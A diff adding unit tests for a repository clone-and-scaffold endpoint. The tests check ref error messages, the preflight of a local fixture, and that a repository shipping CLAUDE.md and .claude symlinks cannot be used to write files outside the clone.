+    // git's FIRST stderr line is "Cloning into '<dest>'..." — quoting that as the
+    // reason told the user the destination path when the ref was the problem.
+    const error = JSON.parse(res.body).error as string;
+    expect(error).not.toMatch(/Cloning into/);
+    expect(error).toMatch(/branch or tag/i);
+  });
+
+  it('refuses to scaffold through repository-shipped symlinks (keeps the clone, warns)', async () => {
+    created.push('hostile');
+    const res = await clone({ name: 'hostile', repository: hostileOrigin });
+    expect(res.statusCode).toBe(200);
+    const body = JSON.parse(res.body);
+    expect(body.success).toBe(true);
+    const casePath = join(CASES_DIR, 'hostile');
+    // The repo's symlinks are still symlinks: nothing wrote through them.
+    expect(lstatSync(join(casePath, 'CLAUDE.md')).isSymbolicLink()).toBe(true);
+    expect(lstatSync(join(casePath, '.claude')).isSymbolicLink()).toBe(true);
+    // The outside targets were neither created nor written.
+    expect(existsSync(victimFile)).toBe(false);
+    expect(existsSync(join(victimDir, 'settings.local.json'))).toBe(false);
+    // And the response says the hooks scaffold was skipped, and why.
+    expect(body.data.warnings.join(' ')).toMatch(/hooks were NOT installed/i);
+    expect(body.data.warnings.join(' ')).toMatch(/symlink/i);
+  });
+
+  it('preflights the local fixture for its branches and tags', async () => {
+    const res = await preflight(origin);
+    const body = JSON.parse(res.body);
+    expect(body.data.parse.transport).toBe('local');
+    expect(body.data.remote.reachable).toBe(true);
+    expect(body.data.remote.defaultBranch).toBe('main');
+    expect(body.data.remote.tags).toEqual(['v1']);
+  });
+});